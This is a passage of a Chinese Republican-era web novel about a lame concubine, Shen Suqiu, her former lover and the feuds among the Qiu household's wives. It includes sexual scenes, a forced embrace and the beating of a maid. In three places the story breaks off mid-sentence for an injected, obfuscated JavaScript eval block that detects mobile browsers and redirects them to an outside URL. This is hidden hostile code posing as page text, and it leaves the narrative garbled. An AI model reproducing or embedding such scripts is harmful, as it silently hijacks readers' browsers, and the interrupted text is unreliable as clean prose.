《跛妻［民国］》 3. 第三捧麦 大西北没有梅雨季一说。 即便是到三四月，也是黄霭霭一片，难得一点绿，像沙漠中的绿洲，碰到算是你走运。 因此雨天足以让人印象深刻，但不足以缓解旱荒之苦，它更像是一个吝啬男人的网开一面。邱守成也不时有这样的“宠幸”。 沈素秋坐在天井边，照旧给太太们请安。如芸坐在正中，抱着二太太凤霞的两个孩子，姆妈和乳娘在一旁摇着拨浪鼓，温灵在插花。几个女人的平静时光，被邱婉凝搅散。她扑棱着满身雨水，像是一只快乐鸟，飞进屋子里，冲着傅如芸说：“家里太无聊了，我想进城，参加同学会。” “什么同学会？”傅如芸将孩子交给姆妈，伸手给她擦脸，“这才刚回来两天又要往外跑？现在外头这么乱，你存心想让我担心？” “这有什么的，”邱婉凝满脸无所谓，“这不铁生回来了？让他做我保镖，保管没人敢碰我。” 傅如芸知道这孩子的心性，一旦有了主意，便难以转圜。短暂思量后，她点头应允，嘱咐女孩多带几个家丁跟着，以及天黑前务必回家。 邱婉凝心满意足地啄了傅如芸一口，当着满屋子家仆的面，素来稳重的大太太也泛起了稍许羞色。她由得女儿勾着自己的脖子，像小时候咿咿呀呀地撒欢道：“那母亲再答应我一件事好不好，让我带着小妈一起去。” 一旁的沈素秋登时止住正在打毛衣的手。 “你去你的同学会，带她去做什么？”傅如芸扯下她胳膊，面色僵了一僵，“你又不是不知道，你小妈腿脚不好，不能到处乱跑。” “又不是走路去，让铁生骑马，他会驭马，府里刚好不还有一辆马车？” “可是外面还下着雨，山路难走。” 如芸犯起难色。 “不然你还是问问人家自个儿想不想去吧。” 邱婉凝想也没想，替她应承道：“天天憋在这宅子里，哪有不想出去的？再说了，她以前也在女校上过学，我的那些同学她也认得。大家伙都想见见她。” 沈素秋张嘴咬线，扯下手头最后一丁点儿线头。 算是默许。 马车咯吱咯吱摇摆上路，行驶在泥泞的盘山小径间。雨并不大，周铁生用不着撑伞，倒是想着车里的两位不像是赶时间的样子，他尽量走得慢一些。 慢一些，颠簸少些，颠簸少些，某人的脚就会好受些。 马车进城已近黄昏。 车驾停靠在一家私人公馆前，进出都是穿西装、打领结的摩登人士，再不济是系长衫、抱着书卷的知识分子。往前走十来米是女校门口，门前不让停马车，大街上全是四轮汽车，挂着外国牌照，道路两边躺满了面黄肌瘦的难民。 “大小姐当心。” 周铁生躬下脊背，充当脚垫，任邱婉凝踩在自己背上，从马车上一跃而下。 轮到沈素秋，她探出那只完好的脚，牢牢踩了上来，那一刻，周铁生才感觉像是真正回到了邱家。 “六姨太当心。” 看似公事公办的关怀，他却不敢看她。沈素秋撑开油纸伞，一语不发，挽着邱婉凝的手走向前处。 “你看他，好像还挺关心你的样子。” 邱婉凝回头小心看了看某人，不动声色地八卦：“你难道不想跟他说说话？” 沈素秋说：“我已经许给你父亲了，他不过是个家丁。” 邱婉凝自讨没趣，默默闭上了嘴。 如旧的无聊聚会，和邱宅里那些茶会、诗会一般，虚情假意的问候攀比。唯一印象就是遇到了曾经的同班同学，她们有的做了记者，有了成了钢琴老师，有的和邱婉凝一样，远渡重洋出海深造，还有的摇身一变，成了商界女强人，独自管理着数十家染坊。 唯有沈素秋一人过早地嫁为了人妇，烫着不合年龄的卷发，穿着不符合这个年轻段气韵的贴身旗袍。她从头到脚都不像是自己能做主的一样，从不逾矩却没了气性，像一株过早进了玻璃房子的植物。 “素秋，好久不见。” 有人端着香槟杯来，上下打量着她，啧啧作叹：“你变化好大。刚刚我在角落里观察了你很久，她们都说你是沈素秋，我还不信。走近一瞧，发现还真是，你都快让人认不出来了。” “哪里认不出来了？” 她自谦，摸了摸自己的脸，太久不习惯这样的公众场合，与人交际总是很快感到疲惫。 “听她们说，你结婚了？”女同学凑上前来，露出两分揶揄，“看你身上穿的、戴的，都好像很贵的样子，他很疼你吧？” “给人做妾而已，”她冷冷地笑，“什么是妾？妾就是小老婆。小老婆难听，可我丈夫有五个。五个小老婆，就是五个我，你说他疼不疼得过来？” 对方脸上的笑一下子拧住了，尴尬举杯后，也没心思寒暄，灰溜溜跑了。沈素秋心里清楚，她们是接受过女子新学的开放派，而自己还是活在旧社会的女人。早早嫁人在那个圈子里等于不算出路的出路，更别说是给人做妾。她们只想看自己热闹，那她就满足她们，让她们热闹个够。 自知无趣，沈素秋夹着手包，独自拐到廊下赏雨。矮墙外有一株老槐，树干在外，树枝在里。 她看枝头有朵小白花，像是从其他地方吹来的，卡在叶子的缝隙里，被雨淋着，好可怜的样子。 沈素秋踮起脚想够那朵花。努力了半天，还是差一段距离。 一只手横空出现在头顶，长而粗，且有力。它的五根手指像五根风干的腊肠，浑厚的老茧是肠衣，虎口上的疤是日历。这是一只常年劳作的手，提醒着自己，它的主人姓周名铁生。 “六姨太安……” 从矮墙内朝外看去，不难窥见男人正站在树荫下躲雨。马儿拴在界桩上，他喂它刚吃完草。趁着小姐太太吃酒玩乐的空隙，他得以和牲口一起有了进食休憩的时间。马儿啃草他啃馍，馍是出门前就揣在兜里的，被雨浸了底，有些泡发，但勉强能吃，他知道自己没资格挑剔。 周铁生几乎不费任何力气地，替沈素秋取下了那朵花。他眼神卑微又闪躲，像是拉肚子一样，捂着小腹，单手把花奉上。 “太太……您的花。” “我不要了。” 沈素秋不留情面地撇了撇嘴，露出厌烦的表情。 “我本来就是看着它烦，想拿下来踩了。这不是槐花，早没了根。没了根的花等同于没了家，这样的花，留着它有什么用？” 周铁生说：“可太太从前最喜欢白花。无论什么品种。” “死人才戴白花。”沈素秋又恶毒地讲，“你在咒我死？” “我不……不敢……” 周铁生露出惧怕之色，奴颜婢色、唯唯诺诺，没了半分英雄胆魄。 沈素秋想，他当真是周铁生？他怎么会变成这样，一副像被福尔马林泡过的软骨头，当真是脱胎换髓，判若两人。 “抬起头来看我。”她讲，“你回来有什么目的。” “吃饭，”男人诚实地答，“外面饥荒闹得凶，我只想活。” “没别的了？”她不甘心。 “没别的了。” 男人的眼睛一览无余。里面像是被掏空了，又很丰盛的样子，装满了馍。 “你怎么不去死？” 沈素秋满是厌憎地剜了他一眼。 “太太多饿我两顿，我就死了。” 周铁生懦懦地答，底气发虚，的确像是没吃饱的样子。 “死远点吧。”沈素秋捂了捂鼻，“你身上净是牛粪味，闻着真恶心。” 周铁生后退两步，规规矩矩作了个揖。 “你怎么会这样？”女人愤怒不已，“现在的你，像滩扶不起来的烂泥，比三年前更让我讨厌。” “那我离太太远些。” 他果然退得更远了。 沈素秋的目的达到了，却一点也不开心。这是为什么呢？她觉得心更闷了，像是有什么东西卡在了喉咙里，难受得她一整天都提不起力气。 回府后她去三太太雪樵那里坐了坐，老三是她在这个府里为数不多的玩伴。两人都是冷冷的性子，每次沈素秋来她这，就这么坐着打毛衣。钟雪樵也陪她这么坐着，一坐大半天，像是神交许久。沈素秋觉得这比端着香槟杯走来走去更让她省心， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149964|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她享受这样默契的沉默。 “听丫鬟们说，你下午去城里了？” 三太太雪樵为人孤僻，屋子里的陈设也和人一般，空落落的，除了基本的几件家具，称得上装饰的，只有墙上的几幅挂画。 起初沈素秋看她照顾得精细，日日命人用鸡毛掸子清理着上面的灰，像自己的孩子一样，以为是什么名家手笔。后来听雪樵自己说，那是她从娘家带来的，自己画的，并不是什么值钱玩意儿。 沈素秋突然有些嫉妒她，为什么她可以留下那些画？而自己的书要被全部销毁？邱守成总是做不到一碗水端平。 “去了。” 沈素秋回答着三太太片刻前的提问，眼睛停留在那些画上，久久不能回神。 “没什么意思，可能是在府里待久了，出去了反而没意思。” 沈素秋想起童年父亲捡的一条小狼，捡到时快断气了。她喂它喝人奶，细心照料，陪着它日益健壮，后来放它回归山林。没多久再遇到，就这么饿死在路边，暴晒成了一张皮，瘦得连巡山的猎户都不稀罕捡。 有时沈素秋觉得邱守成给自己的也是这样的“奶嘴”，喂自己喝着奶，喝着喝着，喝习惯了，想要戒断，就像戒鸦片瘾一样，会要自己的命。 “人生在世，总要给自己找点乐子。” 雪樵陪她望着那些画，正当中是木兰秋狝。秋后斜阳如碎金般照在女将花木兰身上，她拔弓拉弩，伟岸的身影在塞上高原上飞扬。 “我回去了。” 沈素秋留下打到一半的毛衣，她总是留下些做到一半的半成品，下次来这儿继续织。 雪樵送她出门，让仆人为她点灯。明黄色的纸皮灯笼溶在月色里，像是两只闪烁的牛眼睛。沈素秋对丫鬟们说，别跟着了，我想一个人走一走。 可太太脚上有疾，这黑灯瞎火…… 不用你提醒我。沈素秋说，不用你提醒我我是个残废。 丫鬟们你看看我，我看看你，只好提着灯笼，放任女人独自沿着水渠往黑暗深处走。 沈素秋裹着单衣，来到花园里坐了会。邱府的花园并不大，花的成色也不好。 早前四太太温灵喜欢月季，邱守成就让人种满了月季。过两天，她又说喜欢杜鹃，于是又挖了改种杜鹃。再过几天，又说月季和杜鹃都不好，都是洋人花，显得不爱国，改种牡丹吧，国色天香，血统纯正。邱老太爷都听她的，谁让她和牡丹花一样美呢？ 男人爱你时，心肝脾肺肾都愿意插进肚子捞到你面前，不爱你时，种什么花都不允你做主。沈素秋觉得自己看什么想什么，这不太好。她觉得邱守成错了，女人不看书，光看花，也一样容易想得多。 根本无关乎看什么。 花园里又吹起了风，午后的那场雨，带来了些迟到的凉意。沈素秋正准备回房，身后忽地刮过一阵细响。 她正要出声，整个人被连拖带拽地卷进了假山后，男人的喘息声扑打在脸膛，两只大手不停抚摸着她全身。沈素秋下意识想将他推开，无奈力气悬殊，她被男人紧紧箍在了怀里。 “我好想你。” 周铁生乱亲乱啃在她脖间，像只快要渴死的牛。 “我想要你。” 男人将她拦腰抱起，放到一处石墩上，鼻尖抵在她额头，用胡渣去擦她的脸。 沈素秋的脸烧成一片，她抗拒着男人的接近，心里却有些诡异的奇妙。 “你喜欢这样对不对？”周铁生贴着她的脸，用倒三角的虎牙剐蹭着她耳垂。 沈素秋抱着他的身子，软塌塌地陷进他怀里，像陷进一湾流沙。无数欲.望的小兔在皮肤下乱蹿。这才是周铁生，她所熟悉的周铁生，天不怕地不怕的周铁生，横冲直撞得连那事都像是一场抢劫的周铁生。 “你白天装得真好。” 沈素秋抱着他，闻着他身上的味道，没有牛粪味，只有粟米香，粮食的气息，像一锅香喷喷的黑米。 “不装老实怎么要你？” 男人还在乱摸乱啃，沈素秋有点烦了。 “你跟他一样，”她淡淡地说，“从来都不问我愿意不愿意。” 4. 第四捧麦 暧昧的气氛一下子泄了。周铁生放开女人，靠回到岩峭边，去撕手上的皮。 来找沈素秋之前，他在房里洗了很久的澡。怎么会有牛粪味呢？他百思不得其解。要有也是马粪味，他天天伺候马。洗到一半他悟了，不是自己身上有味，是她沈素秋心里有味，那么他把手洗脱皮算是怎么一回事？ 他决定要狠狠教训下这个女人。 于是就有了假山前偷袭的那一幕，他想跟从前一样，和她在草垛上，在高粱地，在玉米田里纵情。结束之后，他光溜溜地抱着她，两人四只脚丫，伸向天空去，勾住天上的星星。周铁生用他的大脚，盖住女人的小脚，两人变成水草交叠在一起，最重要的是，从来都不会问对方你愿意不愿意。 “你弄疼我了。”沈素秋抚着被拽红的手腕，嘴皮子轻轻地动，“这样不好。” 周铁生放下手，像一堵墙似的压在女人身前，嗓音粗哑，“搞毛毬东西，你会怕？” “我当然怕。”沈素秋抬起脸来看他，“老爷不在邱府，可邱府处处有老爷。” “真扫兴！” 男人懊恼地抓了抓头发，背过身去。 “你吃了吗？”女人问他。 “吃了。”周铁生说，“不吃怎么有力气来干你。” “看来是吃太饱了。”沈素秋近乎讥笑，“吃饱了撑的。看来还是没饿够。人饿到一定程度，哪还有力气想那事？有句话怎么说，饱暖思淫.欲。” “只是淫.欲？”他瞟回她一眼，“就不能因为想你？” “想我？”沈素秋笑得更用力了，那是一种让周铁生最生厌的笑，“有些地方想我，是吗？” 缱绻彻底鸡飞蛋打，周铁生一脸失望，“原来我在你心里就是这种孬人。” “你不孬吗？”沈素秋歪过头去，不想看他，“的确，比之孬种，你更胜一筹。” “你说话真毒，”周铁生捂了捂心口，“也只会刺我。我不信你敢对姓邱的也这态度？” “起码姓邱的没负过我。” 沈素秋的话变成刀子，唰唰唰地往男人心头肉上插。 “周铁生，我看你才是搞毛毬！” ........ 沈素秋以平生最快速度逃离了假山，她一路跌跌撞撞，不断地向后看，所幸周铁生没有再追上来。 他怎么还有脸亲近自己？沈素秋只觉一阵恶寒。触摸着刚刚某人舔舐过的地方，上面还沾黏着他的体温和唾液。她扯出帕子用力地揩，揩秃噜皮似的不留余力，待到把那块皮肤搓红乃至微微发肿，她才忿忿罢手，捂着嘴鼻将那块帕子扔到了池塘里。 一轮圆月挂在头顶。 沿街更梆子响过，邱家大宅的砖雕在月光下泛着死寂的青灰色。穿堂风卷着飞沙细尘，把檐角的铜铃吹得呜咽作响，像是怨鬼上吊时残留的哭腔。 沈素秋扶着瘸腿，在交错的光影里走过一面窗牗。窗上挂满了红纱幔，氤氲出屋内美孚灯绚丽的光华。 她站在那想了很久，记起来这是四太太温灵的住所。那些飞舞的纱幔是她的情.趣所在，她曾听二房凤霞说，温灵床笫功夫了得，花把戏最多。 她常喜欢用些绸纱啊缎带之类的东西，蒙住邱守成的眼睛，让他来抓自己。她是像猫一样的女人，挠得男人浑身发痒。同样的故事版本到了温灵口里，就是猪八戒找媳妇，她把邱守成当老猪，自己则是珍珍爱爱与莲莲。她当着满屋子丫鬟太太说这话时毫不脸红，反而像是很自豪的样子，沈素秋时常佩服她的寡廉鲜耻。 她想，这或许和这个女人的出身有关。 就好像此时此刻，透过三交六椀的菱花窗，沈素秋清楚地看到，房中女人正以一个近乎交融的姿势，敞开胸衣坐在一个精壮小伙的大腿上。那个男人有着媲美周铁生的强壮大腿肌，和结实的胸膛。温灵像一枝被雨水滋润过的蔷薇，湿漉漉地滑进男人的胸窝里。 沈素秋惊讶得连连后撤，未曾想触响脚底一块松动的石砖。 “是谁？！” 门内停止销.魂的叫声。 沈素秋头也不回，跑得飞快。她边跑边想，边想边跑，终于理清那个抱着温灵的男人是厨房的伙夫。沈素秋曾在一次家宴上代替凤霞到炊房催菜。满屋子鸡飞狗跳和汤汤水水里，她看见那个卖力拉着风箱的男孩。那时他不过十四，如今算来，也才十七。他们....... 沈素秋不敢细想，回到屋里，翻来覆去，一夜无眠。 第二天一大早，西厢房的丫鬟婆子里传开了，说是府里最近有两件稀罕事：一是从前老爷身边最宠信的仆从周铁生回来了，二是素来不大交好的四房和六房，竟手拉手笑盈盈地从房里走出来。 门是一大早被敲响的，沈素秋还在被窝里。温灵指使着十二三个伙计，排成长长两列，捧着各色奇珍，声势浩荡地堵在霞飞苑门前。 在一众慌乱梳洗后，沈素秋接见了这位稀客。温灵一如从前那般娇憨美丽，整个人像是冒着香气的红苹果，饱满的脸蛋显出被阿胶和燕窝腌透入味的好气色。 “银鎏缠枝珐琅锦扣锁，白玉浮雕岁寒三友滚珠佩，五蝠送寿祥云纹祖母绿挂坠，金托迦南木珊瑚碧玺钏........” 一匣接一匣的珠宝将阴沉沉的内室照得亮如白昼，沈素秋看着那些珍宝，心中无惊无喜，只有对早上还没睡够又要被迫出来见客的些许怨气。 温灵咬着粉嘟嘟的唇，抬手驱退一干家仆，又将女人拉到屏风后，轻声漫语道：“好妹妹，昨个儿晚上的事.......” 这是最低级的讨好。 沈素秋睁大那对无知的双眼，懵懵懂懂地看着她说：“昨晚上什么？我睡得早，错过了什么？” 两个女人对视了两三秒，温灵扑哧一笑，摇着扇子道：“是啊，睡得早，睡得早。睡得早身体好！这不是过来提醒你一句，府里最近不知怎么的，多出许多野猫。一到晚上就乱蹿。昨晚上我在屋里听着门外跑过一只，吓一大跳，我担心妹妹安危，特意送来珠宝赏玩，还望妹妹不要嫌弃。” “四姐的意思我明白。”沈素秋点了点头，看向屏风另一侧的闪闪金光，“但东西就不用了，我这屋子太寒酸，镇不住这么多的宝物。” “好妹妹，”温灵不依不饶，把她当男人一样哄，“好歹选一样，选一样收着，也让我这心里好受些。” 沈素秋拗不过她，走过去随手拿起一个玉镯子，在太阳光下晃了晃，“那就这个吧。我喜欢绿色。” 两人巧笑倩兮地走出了门。沈素秋把人客客气气地送到门外，临走前，温灵又贴在她耳朵边说：“且不说野猫不野猫，我看六妹脖子后有一道痕也像是野猫抓的，你可得让人把那猫管好了。千万别让大房二房逮住了，不然又是一篇好文章。” 沈素秋乍地一愣，难为情地摸了摸衣领子。她的脸像被点着了一样，连温灵走远都没注意到。 她想周铁生哪里是猫？分明是只不要脸的豺狼，连吃带拿地要来掏空自己，他说自己回邱家是为了吃饱饭，合着自己也是他的盘中餐。 以至于吃早饭时，沈素秋的脸还红着，一想到某人昨晚上粗手粗脚的亲昵，总觉得自己温灵附体，也变得有些不知羞耻。 邱府家规严谨，一日三餐都得聚在一张桌上。除非遇到个别情况，会单独开设小灶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149965|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一般情形，你吃什么我吃什么，一家人不分彼此，这也是邱家老一辈人传下来的规矩。 按照惯例，大房点三荤一素，二房点两荤一素，三房钟雪樵得老爷额外眷顾，可以独自进食，到了四房温灵，就和六房沈素秋持平，只能点一荤一素。 十一道菜式变戏法般出现在餐桌上，食不言寝不语，邱府女人吃饭时忌讳高谈阔论。 饭毕，众房齐聚一堂，听傅如芸训话。 循例关心后，话题兜兜转转，终于来到农忙一事上。 “俗话说，春耕不肯忙，秋后脸饿黄。虽说这两年旱情严峻，饿死的饥民足有十数万。可该忙时还得要忙。” 大太太如芸说话时也闭着眼，手里盘着串佛珠，口中念念有词。 “昨午后老爷托人来了信，说湘西水土肥美，他又请宪兵队联运了二十吨大米和荞麦，不日就将返程。他回府前，事关龙王节一事，凤霞已经着手筹备。龙王老爷跳跳脚，人间雨顺又风调。只是这龙王节前，按照惯例，正是庄稼子弟最繁忙的时候。” “六房，”如芸看向沈素秋，“你是佃农出身，应该最懂。” 沈素秋稍稍起身，垂下面庞。 “虽说你父亲已经过身，但如今的佃约，也顺承到了你哥哥身上。”言及此处，如芸不由唉气，“他也是个苦命人。先前老爷叮嘱，农忙许你回门探亲，帮衬家兄打理家里那十来亩水田。你也许久没回去了，收拾收拾，明天天不亮就出发吧，尽量三日内回府，毕竟嫁出去的人了，在娘家太久，也容易遭庄里人闲话。” “是。” 沈素秋喏喏应下。 “至于二房三房，娘家远在外省，如今世情动荡，流兵作祟，到处都是军.阀暴.乱，等来年局势稳定，再回门探亲不迟。” “还有四房——”提到温灵，傅如芸的脸瞬时一黯，“这段日子没事就少走动吧。你是没娘家的人，许多事合该自觉。” 温灵神色一凝，露出几分窘迫。众太太心照不宣，闲聊几句后，各自散去。 出了正屋，温灵托着丫鬟椿儿的手，扭着屁股飘到廊下。她走路时臀部摆动幅度极大，臀型圆润饱满，左晃右晃时，难免引来侧目。 家里的男工们说那是欠收拾的屁股，他们在各自被窝里说着不堪入耳的腌臜话，说四姨太在床上有一百零八种招式，能瞬间吸干男人的元阳，邱守成就是跟她同房以后才一夜变老的。那些粗陋的男人一边惧怕她，一边暗暗垂涎她，都说四姨太的被窝是洞天福地，里面藏满溪水、小花和秘密。 而丫鬟堆里则是另一番说法，她们打心眼瞧不起这女人。温灵是干什么的？那是以前在春禧街上招徕营生的下九流。春禧街又是什么地方？那里有的是被父兄、丈夫卖做窑姐窑妹儿的骚.货、狐狸精。她们一辈子最好的归宿，就是像温灵这样，攀上某个富商，做个有钱人家的阔太太，由服务众人转为服务一人。只是进了邱府，还是改不了身上那股子妖气，走起路来扭来扭去，像是有发不完的洋骚。 温灵从东廊头一路扭到西廊尾，凡是路过的地方，都留下一阵呛鼻的西洋香水味。底下人看到她这做派，男的嘻嘻不语，女的更加嫉恨，有几个嘴巴没把门的把鄙夷口口传开来，有些话落在温灵耳朵里，莫名撺起千丈火。 她本不愿过多计较，可刚刚才在堂下被傅如芸点了一通，正嫌有气没地方撒。出来见到几个丫头小鬼也敢拿自己嚼舌根，顿时气不打一处来，夺过椿儿手里的扇子便朝其中一个头上砸去。 被砸中的那人发出“啊”一声惨叫，温灵也不客气，斜眼睥着那伙子人，笑眯眯道：“你们刚刚谁骂我是骚.货？” 5.第五捧麦 众丫鬟靠在一起，没一个愿意松口。看样子是姐妹齐心，团结对外了。 温灵笑而不语，摘下耳朵上一对银耳环，上前道：“你们谁把骂我的人供出来，这对耳环我就赏给她。” 姐妹花团体有了些松动，末梢的一个丫头犹豫几秒，没能捺住，举起了手，“刚刚是她，她，还有她。” 她眼神坚定，似要入党。 温灵决定相信她。 “可是你自己也说了！”其中一个不服气，反过头来也指证她，“她说得更难听。” “有多难听？”温灵来了兴致，走过去，支起她的小脸。又是张年轻稚嫩的面孔，她最讨厌年轻。 别人的年轻。 “她说你是婊.子！你下面两个洞，都是婊.子洞，你以后都要被男人用牛什子戳烂！” 在场人无不听了个清楚，那丫头嗓门赛铜锣，像是巴不得整个邱府的人都听到似的，激得温灵浑身发抖，挨个甩了她们一巴掌。 清脆的耳光声吸引到檐角下的沈素秋。她远远地坐着，像是在看一部电影。 “别以为平日老爷跟你们玩笑两句，摸一把你们的屁股，就以为各个都有娘娘命，能够飞上枝头做太太。” 温灵单手叉腰，一步一步从那群丫头面前踱过去，像是在审视她们的年轻。 “一个个麦积杆子似的身板，奶.头还没我指甲盖大，能有什么风情？你们把老爷当土皇帝，那土皇帝可曾看过你们一眼？” 众人噤若寒蝉。 “要我看你们一个个才是正经的小骚.货！”她越说越恨，揪起其中一人的耳朵，将她拖到面前，又踢又打，“你怎么不去卖？怎么不去窑子里刨金？司令官的腰带上全缠着金元宝，去啊！你不是有种吗？！去啊！仗着你那三分水润的年轻姿色，去显摆！去兜卖！你能卖成红倌人吗？你被爷们骑一晚上能换多少斗米？” 女孩发出撕心裂肺的惨叫，疼得在地上翻来滚去。温灵越打越疯，越疯越想打，手里的扇子已经不能满足她。她拾起身旁一根碗口粗的木棍，照着女孩的脊梁骨狠狠抡了下去。 院中爆发出一声冲天的哭嚎。 沈素秋呆呆地望着，看到温灵头上的牡丹花摇身一变成了精，变成喷着毒汁的食人花，在院中肆意喷洒着血色的毒浆。 丫头们纷纷被眼前情形吓得不敢动弹，她们十三四的小脑瓜子当然明白，这是在杀鸡儆猴。 只是被打的姑娘有什么错？错在她太年轻，错在她运气差。被骂的温灵有什么错？错在她被哥嫂十二三岁卖进花窟，错在她用法国香水、穿花哨的旗袍，错在她屁股圆又大，胸脯高又挺，错在她丰乳肥臀、前凸后翘，错在她太美太招摇。 她们人人都没错，却又人人都有错。就像男人人人都有错，却又都没错。伟岸的雄性不容置疑，这世上许多事演变到最后，统一归为女人的错。 身为女人，大错特错。 女孩的哭声很快招来大房二房的注意。傅如芸不想出面（她总是在此类场面中隐身），交由凤霞和管家爷依照家规处理。 丫鬟杖打六十，四房温灵断食七日，幽禁造梦轩，以儆效尤。 其余几个鹦鹉学舌的也被依次拖了下去，具体怎么的，沈素秋也没再关注。她只记得那天的温灵很不一样，听到审判后，温灵罕见地掉了一滴泪。她印象里的温灵，是不会哭的，永远像一朵正在盛放的牡丹，和她头上那朵牡丹一样，娇艳欲滴，永不褪色。 邱府闹剧很快归于宁静。 沈素秋入夜又去拜访了三太太雪樵，将白天发生在院里的事一一说给她听。 雪樵虽算不上多美，但皮肤白皙，五官素净。她是北方人，却比南方女子还温婉，可谁又能想到，她是武行镖师的女儿？ 她就是这样一个矛盾又迷人的人。沈素秋经常在想，如果自己是个男人，一定会爱上钟雪樵这样的女人，她想把全世界最好的东西都给她，只为博她一笑。 钟雪樵常年不见笑，和现在一样，只会永无停歇地盯着那些画，盯得精神都有些失智，有时连别人说话都听不大清。 “你看，四太太的事情就是这样。” 沈素秋跟随她的目光，一起看向门外的修竹。夜风里发出抖擞的嚎啕，像极白天那女孩的哭声。 “这事儿论不得谁对谁错，”雪樵摆弄着桌上一对泥塑小人，心不在焉地答：“四房我见过，是个美人儿，就是脾气直率了些，谁被戳到痛处都会跳脚。” “美什么？”沈素秋摇了摇头，“脸上粉千斤厚，容不得细看。” 说完她就后悔了，她感觉自己不知不觉间变得跟那些多舌的丫鬟们一样，狭隘又刻薄。 “别说别人了，”雪樵把目光拉回来，直勾勾看着沈素秋，“见旧情人，感觉怎么样？” 沈素秋一下扭捏起来，绞着帕子，半天不吱声。 “还在恨他？” “没有了。” “我不信。” “好吧。”她投降认输，点头表示肯定，“说不恨是假的。” “白天他不在吗？”雪樵挨过去和沈素秋一起坐着，“四房闹得那样大，指不定全府的下人都凑过去看热闹了呢。” “他不在.......” 沈素秋抿了抿唇，又改口，“好吧，他在。” “到底是他在，还是你众里寻他千百度.......？” 雪樵一语道破玄机。 “喜欢的人在人群里，总是能一眼就瞧见。” 她敲槌定论，“沈素秋，你心里还有他。” “才没有。” 女人咧了咧嘴，“谁会喜欢害死自己父亲的男人？我就算喜欢老邱，我也不会喜欢那块烂木头。” “你这就是还有气。” 雪樵把头靠在她肩上，呵气如兰。 “听我说，等你回门，走在乡野田间，心胸就会开朗很多。心胸开朗了，这心里的恨，就能松绑了。” “但愿吧。” 沈素秋假里假气地笑了，看时辰不早了，帮雪樵整理好矮脚桌上的毛线团后，匆匆离去。 回到霞飞苑，沈素秋难得拿出了珍藏的葡萄酒。这是邱守成送给自己的礼物。 两人结为夫妻前，母亲沈赵氏曾问过自己，上嫁吞针，下嫁吃屎，你想吞针还是吃屎？ 屎太难吃，沈素秋说，还是吞针吧。 至少吞针只是痛，痛着痛着，痛习惯了，也就没知觉了。 后来果真一语成谶，她上嫁给了邱守成做第六房姨太。两人第一次见面，邱守成说，入府前你可还有什么未了却的心愿？别太过分，都能满足。 沈素秋托着腮说，那就去照个相吧。听说有种黑匣子，拉一下就能记住我现在的样子。以后怕是再也看不到这样的自己了。 那时她穿学生装，留齐耳短发。手里常常抱着本书，邱守成喜欢她不沾世俗的洁净。 他如她所愿，带她去拍了人生中第一张照片，可惜是张双人照。沈素秋后来偷偷用剪刀把邱守成裁了，只留自己。后来被邱守成发现，把剩下半张也撕了，沈素秋伏在炕头，一个劲地哭。 可能自觉有些过分，事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155944|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后邱守成托管家给她送来一瓶葡萄酒。说是商会的人送的，价值千金。沈素秋没喝过洋酒，不知其中滋味。不过滋味不滋味的也不重要的，是苦是甜于她而言，都是吞针。 酒过三杯，沈素秋有些醉了。她没想到自己酒量这么差。从前看哥哥和某人喝酒，还是酒性更烈的高粱酒，两个男人以缸论。最夸张的一次，周铁生喝得满身红疹，一晚上要了自己六七次。要到最后，精疲力尽，两人像两条蛇似的缠在炕上，沈素秋摸着他满是汗的胸大肌说，去年才夯好的土炕，怕是要被你震塌。 周铁生抱紧她，云里雾里间又来了一次。他那事多残暴，不知爱抚怜惜。沈素秋常感觉做那事时的周铁生像个磨盘，而自己是那软豆腐渣，被情.欲榨出汁，榨出色授魂与般盛大的爱。 沈素秋困了，扶着墙，一瘸一拐走在床前，一头栽倒下去，放任自己的身体一寸寸蛄蛹进被子里。 她不知道自己睡了多久，直到门外丫鬟敲门。几更天了？她用余光看窗外，天都还没亮。 别敲了，女人犯了起床气，野猫子似的鬼嚎，我还没死。 “五更了。”门外丫鬟说，“马房的毛五说，车驾行装都备好了。净事的婆子们都到了，还请太太行个方便。” 沈素秋霎时清醒。 来不及洗漱，丫鬟领着四五个老婆子走进门来，手里拿着戒尺，将女人直接从床上提了起来。 所谓“净事”，含口净、身净和心净。通俗来讲，就是搜身。 邱府家规之一，女眷回门之前，都须由净事婆子搜身，以防私藏细软，接济娘家。 沈素秋被两婆子掰扯开嘴巴，粗长的戒尺捣进嘴里，左右一搅。净事的婆子还不放心，又把手伸进去，上下牙缝里掏了一圈，确保沈素秋的舌头底没藏金戒指、碎银钞。 